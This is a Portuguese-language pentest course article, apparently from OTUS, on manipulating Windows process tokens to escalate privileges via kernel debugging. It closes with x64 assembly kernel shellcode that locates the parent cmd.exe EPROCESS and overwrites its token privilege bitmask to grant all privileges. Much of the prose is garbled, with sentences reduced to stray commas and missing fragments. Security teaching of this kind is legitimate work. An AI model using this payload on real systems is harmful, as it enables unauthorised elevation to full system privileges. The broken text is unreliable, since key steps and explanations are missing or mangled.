Tokens do Windows

O especialista em OTUS - Alexander Kolesnikov compartilhou conosco um artigo útil, que escreveu especificamente para alunos do curso "Pentest. Prática de Teste de Penetração" .









Nós, por sua vez, convidamos todos a participarem de uma aula de demonstração gratuita sobre o tema: "Coleta de informações do Windows AD, escalonamento de privilégios. Explorações e vulnerabilidades dos últimos 5 anos."









O artigo anterior discutiu como os exploits usam a técnica de cópia de token para escalar privilégios. Neste artigo, tentaremos considerar outra técnica para modificar tokens e também tentar descobrir como os privilégios colocados no Token Primário são definidos.





Todos os exemplos no artigo são apenas para fins informativos, e se você quiser repetir os experimentos, use uma máquina virtual, pois algumas das ações podem danificar sua máquina de trabalho. Todos os experimentos são realizados apenas para fins de pesquisa.





Configuração da bancada de teste

Para experimentos, algumas máquinas virtuais que funcionam em uma rede NAT são adequadas. Dois porque não há outra maneira de depurar o kernel do sistema operacional. E na rede NAT, para que haja símbolos de depuração, fica mais fácil e rápido buscar dados sem código-fonte com eles. A configuração do depurador está disponível na Internet, mas ainda abaixo haverá algumas linhas, pois é feito para o sistema operacional Windows 10 1909.





1. Instale o depurador. Para o sistema operacional Windows, existe apenas o Windbg Preview, instale-o:





2. Transferimos o sistema operacional de destino para o modo de depuração:





Reinicializamos o sistema. E abra a segunda máquina, que conterá o depurador:





Depois de reiniciar o sistema:





Windbg Preview , . . .





Token

, , , Primary Token. , Se* . , , :





  • SeAssignPrimaryToken





  • SeAudit





  • SeBackup





  • SeChangeNotify





  • SeCreateToken





  • SeDebug





  • SeLoadDriver





  • SeLockMemory





  • SeManageVolume





  • SeRestore





  • SeSecurity





  • SeTakeOwnership





, , . , “Security Descriptor”:





System. — dx @$cursession.Processes[4].KernelObject.Token







EXFAST_REF , , :





System:





, “Security Descriptor” , . :





, , :





- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :





BSOD? , . , :





1. , :





2. cmd.exe



:





3. . :





, . - , - Integrity Levels , .





? . , : 0x1







BSOD , , . , , . , - — 0x100000







:





  • SeDebugPrivilege - 0x100000





  • SeAuditPrivilege - 0x200000





  • SeSystemEnvironmentPrivilege - 0x400000





  • SeCreatePermanentPrivilege - 0x010000





  • SeSystemtimePrivilege - 0x001000





  • SeSecurityPrivilege - 0x000100





  • SeLockMemoryPrivilege - 0x000010





, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.





— System , , .





netstat -ab



, . ? . , Windows , System , :





, , payload :





[BITS 64]

start:
mov r9, [gs:0x188]                ;KPROCESS/currentThread
mov r9, [r9+0x220]                ;EPROCESS   KTHREAD
mov r8, [r9+0x3e8]                ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9                           
loop1:
  mov rax, [rax + 0x2f0]       
  sub rax, 0x2f0                    ;KPROCESS
  cmp [rax + 0x2e8],r8              ; ProcessId
  jne loop1                         	  
mov rcx, rax                        ;   PID EPROCESS
add rcx, 0x360                        
mov rax, [rcx]                           
and rax, 0xFFFFFFFFFFFFFFF0
mov r8,  0x1e73deff20               ;System  
mov [rax+0x48],r8                   ; 
ret
      
      




". ".



"Windows AD , . 5 ."













All Articles